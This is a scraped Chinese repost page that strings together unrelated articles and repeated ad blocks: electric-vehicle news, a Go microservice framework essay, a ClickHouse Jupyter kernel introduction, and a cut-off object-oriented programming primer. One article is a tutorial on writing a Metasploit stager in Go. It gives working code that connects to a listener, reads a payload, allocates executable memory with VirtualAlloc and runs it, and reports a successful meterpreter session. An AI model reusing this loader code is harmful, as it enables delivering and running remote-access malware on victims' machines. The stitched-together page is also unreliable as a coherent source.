NASA 研發電動車 可飄移還可遠端駕駛

  現時市面上能買的電動車都是主打速度或續航力,但由 NASA Johnson Space Center所研發的電動車 Modular Robotic Vehicle(MRV)則是讓你能享受飄移的快感。   Modular Robotic Vehicle(MRV)的 4 個車輪可獨立轉向,且每個都可以轉 180度之多,所以要原地打轉沒難度,甚至可有飄移的效果。此外,車上除了有傳統的方向盤和油門之外,駕還搭配遠端操作系統,讓使用者即使不在車上,也能遠端進行駕駛。     (圖片來源:擷取自 NASA 影片)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

豐田首席工程師:電動車在長程駕駛上無法取代傳統汽車

豐田汽車首席工程師表示,電動車即使在技術上有所突破,可達到快速充電的目標,但未來在長程駕駛上依舊無法取代傳統汽車的位置。   雖然許多電動車支持者不斷吹捧快速充電科技的發展,但豐田氫燃料電池車 Mirai 首席工程師田中良和 (Yoshikazu Tanaka) 於 4 月 16 日表示,若你的車要在短短 12 分鐘內充飽 500 公里 (約310英里) 的電力,你所使用的電量,將可供應 1000 間房屋。他強調,這完全違背穩定電網電力供給的目標。   儘管如日產與福斯等競爭對手大力推動電動車,例如日產的電動車 Leaf 需要長時間充電,這對需要經常長程駕駛的顧客來說,的確較缺乏吸引力。目前日產 Leaf  必須使用 200 伏特電源充電約 8 小時,約有 84 英里的續航距離。   田中良和強調豐田不否認電動車的好處,「但我們認為電動車最佳的使用方法就是在夜間充電 (避開用電高峰),並在白天做短程駕駛之用」。    

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

另闢財源!特斯拉開賣 Model S 二手車

電動車大廠特斯拉(Tesla)開始在官網銷售 Model S 二手車,跨出從新創公司轉變成主流車商的重要一步。特斯拉大約在一周前悄悄推出認證二手車方案,讓消費者可以買到價格比新車便宜的特斯拉電動車,並提供 4 年或 5 萬英里保修方案。   特斯拉發言人說,第一批二手車來源主要是一些車主淘汰舊車、添購去年底上市的四輪傳動 Model S。此外,特斯拉在 2012 年推出租車方案,租期通常為 3 年,這些車將在今年開始歸還給特斯拉。   特斯拉並不運用獨立經銷商通路,所以可以保有賣二手車的全部營收。不過,因特斯拉的二手車供應量有限,目前特斯拉網站只在美國 11 個大都會區提供二手車。特斯拉發言人說,這些二手車將分組存放,未必會存放在零售門市。客戶訂購二手車後,可以赴各地區的存放地點取車,或要求特斯拉把車運送到府。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

廣州商場喜迎「全能」電動車充電站 今年將建300個

4月30日,廣州市首個設置在商場內電動車「全能」充電樁在高德置地廣場啟用。這種充電站可為所有型號的電動車充電,每次充電2~3個小時,每小時的費用在4元人民幣至10元人民幣之間,約可行駛25至50公里,一般車輛可走一天。未來車主還可以用手機app軟體即時查詢附近充電樁位置以預約充電。   依威能源方面表示,目前在全國範圍內已完成超過150個電動車智慧充電站的鋪設,今年內將在廣州至少建300個這樣的充電站,地點將設在商場、社區、辦公樓等。   目前廣州有新能源汽車4000多輛,其中公車佔有大部分。廣州市政府已經在大學城、跑馬場、花都區先後配備了500多個充電設施,也在30多個公交站場配備了210個專門為600多部電動汽車、公交汽車充電的設施。此外,特斯拉電動車也在廣州的商場、酒店和社區建了幾個專用充電站。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

msf stagers開發不完全指北(二)

採用 Golang 開發stagers

上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能

思路梳理

在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的文件描述符,除此之外,我們還是同樣的步驟

  1. 向 msf 監聽地址發起 tcp 請求
  2. 獲取 stages
  3. 將 socket fd 放入寄存器 edi
  4. 從起始地址開始執行 stages

編譯環境

  • OS: Windows 10

  • Golang: go version go1.14.1 windows/amd64

獲取stages

socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
    return err
}

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
}
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
}
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")
}

這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連接讀取數據使用的是 Read,但是並不能讀全,和網絡有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 后,我們可以進行下一步操作了。

socket fd 放入 edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

這部分代碼就是我上面所說的難點了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一個接口 type Conn interface ,我們需要找到他的真實類型,繼續往裡面跟我們會發現他的真實類型是 *net.TCPConn,為什麼要做這一步?

我們先看看這個結構體

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
	conn
}

type conn struct {
	fd *netFD
}

我們其實需要的是裏面的文件描述符,我們再往裡跟一下

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr
}

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind
}

可以看到 Sysfd 是文件描述符,也就是我們想要的,我們需要取一下,這裏因為 Golang 裏面小寫開頭的字段是不導出的,我們需要使用反射取一下

注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的

所以獲取文件描述符的代碼就是

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

文件描述符是 handle 所指向的值,這裏需要注意一下

然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 數組

然後我們需要把 socket fd 放入 edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

mov edi, xxxx 放到了 stages 頭部

執行stages

一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裏的實現方式八仙過海各顯神通了,我這裏只給我我這裏的實現方式

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
    append(
        payload,
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
    )...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

這裏的一串奇奇怪怪的字符可以不用加,只是為了遵守 plan9 彙編的調用約定,一些 push 保存堆棧現場和 pop 還原

然後就是先通過申請 VirtualAlloc 一塊可讀可寫可執行的內存,然後使用 RtlCopyMemory 把 stages 字節碼拷貝進去,然後開始跑。

這裏的 windows api 使用的聲明如下

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

這裏其實你也可以使用 x/windows 庫方便使用。

結果展示

64位編譯出來 1.73M,通過 upx 壓縮后 616kb,32位編譯出來會更小

執行試試

監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線

注意事項

  • 可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的
  • 依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯

成果源碼

成果源碼我就不貼出來了,其實也是這些代碼組合在一起

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

一個可以自我進化的微服務框架

你是否遇到過這樣的框架,它非常簡單又是輕量級的,很容易上手,然而當你的項目變得複雜的時候它能自我進化成功能強大的重量級框架,而不需要把整個項目重寫? 我是從來沒見過。

先讓我們來看一下項目的生命周期。通常,當一個新項目開始時,我們不知道它能持續多久,所以我們希望它盡可能簡單。大多數項目都會在短時間內夭折,所以它們並不需要複雜的框架。然而,其中有一些擊中了用戶的痛點並受到歡迎,我們就會不斷地對它們改進,使它們變得越來越複雜。結果就是原來簡單的框架和設計已經遠遠不能滿足需求,剩下的唯一方法就是重寫整個項目,並引入強大的重量級框架。如果項目持續受歡迎,我們可能需要多次重寫整個項目。

這時一個能自我進化的框架就展現出優勢。我們可以在項目開始時使用這個輕量級框架,並只在確實需要時才將其進化為重量級框架, 在這個過程中我們不需要重寫整個項目或更改任何業務邏輯代碼,當然你需要對創建結構(struct)的代碼(也叫程序容器)做一些修改。但這個修改比起修改業務邏輯或重寫整個項目不知要容易多少倍。

這聽起來太棒了,但有這樣的東西嗎?很長一段時間以來,我都認為這是不可能的,直到最近竟然找到了一個。

去年,我創建了一個基於清晰架構(Clean Architecture)的框架,並寫了一系列關於它的文章。請查看”清晰架構(Clean Architecture)的Go微服務” 。它使用工廠方法設計模式來創建對象(結構),功能非常強大,但有點重。我希望能把它改的輕一些,這樣簡單的項目也能使用。但我發現任何強大的框架都是重量級的。沒有一個框架是輕量級的但同時又非常強大,正如魚與熊掌不可兼得。我在這上面花了不少時間,最後終於找到了一個方法,就是讓框架能夠自我進化。

解決方案

我們可以將一個項目的代碼分為兩部分,一部分是業務邏輯(Business Logic),其中所有調用都基於接口,不涉及具體對象(結構)。另一部分是為這些接口創建具體對象(結構(struct)),我們可以稱之為程序容器(Application Container)(詳情參見”清晰架構(Clean Architecture)的Go微服務: 程序容器(Application Container)”) 。這樣,我們就可以讓業務邏輯保持不變,而使程序容器自我進化。大多數程序容器都用依賴注入來將對象(結構)注入到業務邏輯中,“Spring”就是一個很好的例子。但是,要使框架能夠自我進化,關鍵是不能直接使用依賴注入作為這兩部分之間的接口。相反,你必須使用一個非常簡單的接口。當然,你依然可以使用依賴注入,但這隻是在程序容器內部,因此只是程序容器的實現細節。

下面就是框架的結構圖.

程序容器和業務邏輯之間的接口

程序容器和業務邏輯之間的接口應該非常簡單。唯一的功能就是讓業務邏輯能獲取具體對象(結構)。在清晰架構中,大多數情況下你只需要獲取用例(Use Case)。

下面就是程序容器的接口:

type Container interface {
	// BuildUseCase creates concrete types for use case and it's included types.
	// For each call, it will create a new instance, which means it is not a singleton
	BuildUseCase(code string) (interface{}, error)

	// This should only be used by container and it's sub-package
	// Get instance by code from container.
	Get(code string) (interface{}, bool)

	// This should only be used by container and it's sub-package
	// Put value into container with code as the key.
	Put(code string, value interface{})

}

如何讓程序容器進化

我定義了三種模式的程序容器,從最簡單到最複雜,你可以直接使用。你也可以定義新的程序容器模式,只要它遵循上面的接口即可。你可以隨時將程序容器替換為其他模式,而無需更改業務邏輯代碼。

初級模式

這是最簡單的模式,它不涉及任何設計模式。它的最大優點是簡單,易學,易用。絕大多數的項目都可以從此模式開始。使用這種模式可以在一天之內創建整個項目。如果項目很簡單,在一小時內完成都是有可能的。如果你不再需要這個項目,就可以一點也不可惜地丟棄它。缺點是它提供的功能非常簡單,所有配置信息都是以硬編碼的形式寫在程序中,既不靈活也不強大。最適合POC(概念驗證)類型的項目。具體實例可查看 “訂單服務” 。這是一個事件驅動的微服務項目,旨在提供訂單服務。

以下是初級模式的結構圖,框內是程序容器:

增強模式

這種模式類似於初級模式,主要改進是增加了配置參數管理。在這種模式下,配置參數不再是硬編碼在代碼中的,它們是在結構(struts)中定義的。你也可以對它們進行校驗。更改程序配置要容易得多,你可以在單個文件里看到項目的所有配置參數,從而掌握整個程序的全貌。該框架仍然非常簡單,不涉及任何設計模式。當項目已經穩定並且需要某種結構時,可以切換到這種模式。具體實例可查看”支付服務”. 這是一個事件驅動的微服務項目,旨在提供支付服務。

以下是增強模式的結構圖,框內是程序容器:

高級模式

當你有一個複雜項目時,你需要一個功能強大的框架來與之匹配。你可能會有一些比較複雜的需求,如更改所用的數據庫或動態更改配置參數(不需更改代碼)。這時,你可以將項目升級為高級模式。它將在程序容器中使用依賴注入。具體實例可查看”Service template 1″。 這是一個清晰架構(Clean Architecture)的微服務框架。

以下是高級模式的結構圖,框內是程序容器,它的文件結構看起來有很大的不同。

如何升級

假設你有一個新項目,最容易的啟動方式的是複製整個“訂單服務”項目,然後將裏面的結構(struct)更改為你的結構,並完成業務邏輯代碼。在這個過程中,你可以保留“訂單服務”項目的目錄結構和一些接口。過了一段時間,你發現需要升級到高級模式。這時,最簡單的方法是從“servicetmp1”項目中複製“app”文件夾,並替換你的項目中的“ app”文件夾,然後對程序容器進行相應的修改。完成之後,你無需更改業務邏輯中的任何代碼,一切都應該可以正常工作。如果你了解這個框架,整個過程應該不會超過一天時間,甚至更短都有可能。

此方案的關鍵元素

要想框架能夠自我進化,它必須按照特定的方式進行設計和創建。以下是框架的四個關鍵元素。

  • 程序結構
  • 程序容器
  • 基於接口的業務邏輯
  • 可插拔的第三方接口庫

基於接口(Interface)的業務邏輯

前面已經講了程序結構和程序容器,這裏主要講解業務邏輯。基於接口的業務邏輯是框架能自我進化的關鍵。在應用程序的業務邏輯部分,你可能有不同類型的元素,例如“用例(use case)”,“域模型(domain model)”,“存儲庫(repository)”和“域服務(domain service)”。除了“域模型(domain model)”或“域事件(domain event)”之外,業務邏輯中的幾乎所有元素都應該是接口(而不是結構(struct))。有關程序設計和項目結構的詳細信息,請查看”清晰架構(Clean Architecture)的Go微服務: 程序設計”

內部接口

在業務邏輯中有兩種不同類型的接口。一種是內部接口,另一種是外部接口。內部接口是在應用程序內部使用的接口(通常不能與其他程序共享),例如“用例”,它是清晰架構中的重要元素。以下是“RegistrationUseCaseInterface”用例的接口。

type RegistrationUseCaseInterface interface {
	RegisterUser(user *model.User) (resultUser *model.User, err error)

	UnregisterUser(username string) error
	
	ModifyUser(user *model.User) error
	
	ModifyAndUnregister(user *model.User) error
}

可插拔的第三方接口庫

通常業務邏輯需要與外部世界交互並使用它們提供的服務,例如,日誌服務、消息服務等等。這些都是外部接口,常常可以被很多應用程序共享。在領域驅動設計中,它們被稱為“應用服務(application service)”。 通常有許多庫或應用程序可以提供這樣的服務, 但你不希望將應用程序與它們中的任何一個綁定。最好是能隨時替換任何服務而又不需要更改代碼。

問題是每個服務都有自己的接口。理想的情況是,我們已經有了標準接口,所有不同的服務提供者都遵循相同的接口。這將是開發者的夢想成真。Java有一個“JDBC”的接口,它隱藏了每個數據庫的實現細節,使我們能按照統一的方式處理不同的SQL數據庫。不幸的是,這種成功並沒有擴展到其他領域。

要想讓框架變得很輕量的一個關鍵是把服務都變成標準接口,並把它們移到框架之外,使之成為第三方庫,其中不僅包含了標準接口,同時也封裝了支持這個接口的庫。這樣這個第三方庫就變成了可插拔的標準組件。為了讓應用程序基於接口設計,我創建了三個通用接口分別用於日誌記錄、消息傳遞和事務管理。創建一個好的標準接口是非常困難的,由於我在上面這些領域都不是專家,因此這些自建的接口離標準接口有一定差距。但對於我的應用程序來說,這已經足夠。我希望各個領域的專家能儘快制定出標準接口。在沒有標準接口之前,可以自定義接口,為以後切換到標準接口做好準備。

下面是日誌的通用接口:

type Logger interface {
	Errorf(format string, args ...interface{})
	Fatalf(format string, args ...interface{})
	Fatal(args ...interface{})
	Infof(format string, args ...interface{})
	Info(args ...interface{})
	Warnf(format string, args ...interface{})
	Debugf(format string, args ...interface{})
	Debug(args ...interface{})
}

這個第三方庫的結構是與框架或應用程序的結構相匹配的,這樣才能與框架很好地對接。關於如何創建一個第三方庫,我會單獨寫一篇文章[“事件驅動的微服務-創建第三方庫”]來講解。

框架(framework)或者庫(Lib)?

框架和庫之間的爭論已經持續了很久了。大多數人更喜歡庫而不是框架,因為它是輕量級的並更加靈活。但為什麼我要創建一個框架而不是一個庫呢? 因為你仍然需要一個框架來將所有不同的庫組織在一起(不論它是自建的或是第三方的)。因此你通常要用很多庫,但只要一個框架。問題是有用的框架都太重了,我們需要一個輕量級的好用的框架。

因為業務邏輯中的元素都是基於接口的,我們可以把框架視為總線(接口總線),將任何基於接口的服務插入其中。這就是所謂的可插拔框架,它實現了框架與庫的完美結合。

在這個框架之下,一個應用程序的生態由三部分組成,一個是可進化的框架;另一個是可插拔的第三方標準接口(這個接口是可以不依賴於任何框架而單獨使用的),例如上面提到的日誌接口;最後是支持標準接口的具體實現庫,例如對日誌功能來講就是”zap” 或”Logrus”。 而可進化的框架就成了把它們串接起來的主線。

與其它框架的比較

本文的框架是基於清晰架構(Clean Architecture) 的。你可以在很多其他框架中看到相似的元素,比如Java中的“Spring”,它也有程序容器並大量地使用了依賴注入。本框架唯一的新東西是自我進化。

通常,大多數框架都試圖通過使用多種設計模式來應對未來的不確定性。而它需要複雜的邏輯,這就不可避免地將這種複雜性寫入到代碼中。這就使得多數有用的框架都很重,不論學習和使用都難度較高。但如果未來的情況與預計的並不相符,那麼這種內置的複雜性就得不到利用,而變成巨大的負擔。“Spring”就是一個很好的例子,它非常強大但也很重,適合複雜的項目,但是對於簡單的項目就很浪費。本框架在設計時徹底改變了思路,不對未來做任何假設,因此就不需預先在代碼中引入複雜的設計模式。你可以從最簡單的框架開始,只有當你的程序變得很複雜並需要與之匹配的框架時,才進化成複雜的框架。當然你的程序必須遵從一定的設計結構,這裏面的關鍵是基於接口的設計。當前,我們已進入了微服務時代,大多數項目都是小的服務,這對能夠自我進化框架的需求就變得更為強烈。

應用程序如何使用框架?

在清晰架構中,“用例”是一個關鍵組件。如果你想了解一個應用程序,就從這裏開始。業務邏輯只需要獲得用例一個接口,就可以完成需要的任何操作,因為所有其它需要的接口都包含在“用例”中。

在業務邏輯中,“用例”被定義成接口而不是結構(struct)。在運行時,你需要獲得用例的具體實現結構(struct)並將其注入到業務邏輯中。它的步驟是這樣的,首先創建容器,然後構建具體的用例,最後調用“用例”中的函數。

如何調用“用例”

下面是構建程序容器的代碼。

func buildContainer(filename string) (container.Container, error) {
	container, err := app.InitApp(filename)
	if err != nil {
		return nil, errors.Wrap(err, "")
	}
	return container, nil
}

下面是程序容器中的函數”InitApp()”(在文件”app.go”里),調用它來初始化容器。

func InitApp(filename...string) (container.Container, error) {
	err := initLogger()
	if err != nil {
		return nil, err
	}
	return initContainer()
}

下面是用來創建”Registration”用例的幫助函數,它在文件”serviceTmplContainer.go”里。

func GetRegistrationUseCase(c container.Container) (usecase.RegistrationUseCaseInterface, error) {
	key := config.REGISTRATION
	value, err := c.BuildUseCase(key)
	if err != nil {
		//logger.Log.Errorf("%+v\n", err)
		return nil, errors.Wrap(err, "")
	}
	return value.(usecase.RegistrationUseCaseInterface), nil
}

下面是調用”Registration”用例的代碼,它先調用”GetRegistrationUseCase”來得到用例,然後再調用“用例”裏面的”RegisterUser()”函數。

func testRegisterUser(container container.Container) {
	ruci, err := containerhelper.GetRegistrationUseCase(container)
	if err != nil {
		logger.Log.Fatal("registration interface build failed:%+v\n", err)
	}
	created, err := time.Parse(timea.FORMAT_ISO8601_DATE, "2018-12-09")
	if err != nil {
		logger.Log.Errorf("date format err:%+v\n", err)
	}

	user := model.User{Name: "Brian", Department: "Marketing", Created: created}

	resultUser, err := ruci.RegisterUser(&user)
	if err != nil {
		logger.Log.Errorf("user registration failed:%+v\n", err)
	} else {
		logger.Log.Info("new user registered:", resultUser)
	}
}

結論

本文介紹了一個能夠自我進化的輕量級的清晰架構框架。當創建一個新項目時你可以從最簡單的輕量級的框架開始。當此項目不斷髮展變得複雜時,框架可以自我進化為一個功能強大的重量級框架。在此過程中,不需要更改任何業務代碼。目前它有三種模式,分別是初級模式,增強模式和高級模式。最複雜的是高級模式,它基於依賴注入,非常強大。我創建了三個簡單的應用程序來說明展示如何使用它,每個程序對應一種模式。

源碼:

完整的源碼:

  • “servicetmpl1”
  • “Order Service”
  • “Payment Service”

索引:

1 “清晰架構(Clean Architecture)的Go微服務”

2 “清晰架構(Clean Architecture)的Go微服務: 程序容器(Application Container)”

3 “訂單服務”

4 “支付服務”

5 “Service template 1”

6 “zap”

7 “Logrus”

8 “清晰架構(Clean Architecture)的Go微服務: 程序設計”

9 [“事件驅動的微服務-創建第三方庫”]

10 The Clean Architcture

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

LG 化學將為長城汽車供應電動車電池

據 LG 化學 17 日公布的消息指出,近日該公司與中國最大 SUV (運動型多用途汽車) 和皮卡制造商簽署了電動車電池供應合約。根據合約,LG 化學將為長城汽車自 2017 年起量產的插電式混合動力車 (phev) 車型提供電池。   由此,LG 化學將為中國 20 萬輛電動車提供電池,在中國市場搶占先機,並奠定進入中國 SUV 市場的堅實基礎。2014 年中國 SUV 銷量約達 410 萬輛,預計在 2016 年將達 620 萬輛。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

為電動車佈局?鴻海2250萬美元入股上海嘉銘

根據《經濟日報》5月19日報導,鴻海集團昨日代子公司富泰華工業(深圳)有限公司發佈公告,取得嘉銘融資租賃(上海)有限公司股權,預計投資金額為2,250萬美元,持股比例將達75%。   市場猜測,鴻海集團投資此融資租賃公司,應該與電動車佈局有關。現在中國大陸融資租賃、分時租賃是電動車銷售的主要動力,大陸日前也有報告指出,目前,新能源汽車領域融資租賃的滲透率約為14%。預計到2025年,新能源汽車銷量將不低於500萬輛,融資租賃滲透率至少達到22%。汽車金融及租賃服務是新能源汽車業價值鏈中最具有獲利能力的環節,毛利率甚至可望高達30%左右。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

xeus-clickhouse: Jupyter 的 ClickHouse 內核

在科學計算領域,Jupyter 是一個使用非常廣泛的集成開發環境,它支持多種主流的編程語言比如 Python, C++, R 或者 Julia。同時,數據科學最重要的還是數據,而 SQL 是操作數據最直觀的語言。前段時間看到一篇文章[1],有人給 sqlite 做了一個 jupyter 的內核,感覺很有意思。所以我嘗試給 ClickHouse 做了一個 jupyter 的內核,目前已經有了一個可以試用的版本,下面做一個簡單介紹。

clickhouse

現狀

新內核允許用戶用 ClickHouse SQL 的語法直接操作遠程 CH 數據庫,通過一些擴展操作比如 %CONNECT 支持與 ch cli 一樣的連接參數,後續也有計劃使用 jupyter magics 支持更多的數據可視化操作。

項目參考了 jupyter sqlite 內核的實現方式,是基於 xeus [2]框架來實現的。xeus 是一個 c++ 的 lib 庫,它對 jupyter 的內核做了很好的封裝,我們只需要專註於內核相關的功能就可以了。目前對於 ch 的操作基於 clickhouse-cpp 來實現,它是 ch 的 cpp 客戶端。

ch-sql

目前實現處於早期階段,但是基礎功能已經可用。它支持了幾乎 CH 所有 SQL 語法,具體例子可以參考 examples/clickhouse.ipynb [4]。xeus-clickhouse 在 jupyter notebook 和 jupyter lab 中以 HTML 表格的形式展示數據;在 jupyter console 中,我們使用 tabulate 庫只做純文本的表格。

未來

對於 xeus-clickhouse 未來的規劃是,先打磨好穩定性,目前已知的還有一個非法字符導致內核崩潰的問題,已經提交 issue 給 xeus 倉庫;另外clickhouse-cpp 不支持 ssl 連接。除了基礎功能的打磨,還計劃通過支持更多的 jupyter magic 來實現數據的可視化渲染,提供更方便的數據可視化能力。

使用

我製作了一個 Docker 鏡像發布在 docker-hub [3] ,不需要安裝任何環境就可以試用:

# start jupyter with clickhouse kernal
docker run -p 8888:8888 wangfenjin/xeus-clickhouse:v0.1.0

# start a local clickhouse for testing
docker run -d --name jupyter-clickhouse-server -p 8123:8123 --ulimit nofile=262144:262144 yandex/clickhouse-server

# open the example/clickhouse.ipynb and connect to local server by
# %CONNECT --host host.docker.internal --port 8123

在 docker 裏面連接另外一個 docker 中的 ch 可能會有問題,感覺是目前 clickhouse-cpp 對於網絡的處理不太完善。感興趣的同學也可以下載代碼自己編譯,具體的編譯流程見 github 倉庫 [4]。歡迎大家試用!

鏈接

  1. https://blog.jupyter.org/a-jupyter-kernel-for-sqlite-9549c5dcf551
  2. https://github.com/jupyter-xeus/xeus
  3. https://hub.docker.com/r/wangfenjin/xeus-clickhouse
  4. https://github.com/wangfenjin/xeus-clickhouse

  本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

面向對象再探究

在還不清楚怎樣面向對象?一文中,已經簡單介紹了面向對象的基本思想和三大特性,但是不夠詳細。本文再來具體探究一下面向對象

1. 概述

1.1. 面向過程編程

面向過程編程(Procedure Oriented Programming,POP)是一種以過程為中心的編程思想,開發人員在解決問題時更專註於過程

當我們遇到一個問題時,只需要分析出第1步要做什麼、第2步要做什麼……直到解決問題,然後把這些步驟一步步地實現即可。

比如,我現在要編寫一個面向過程的程序來模擬「我要讓我的好朋友行小觀去幫我買瓶水」這個問題,如下:

  1. 給行小觀10塊錢
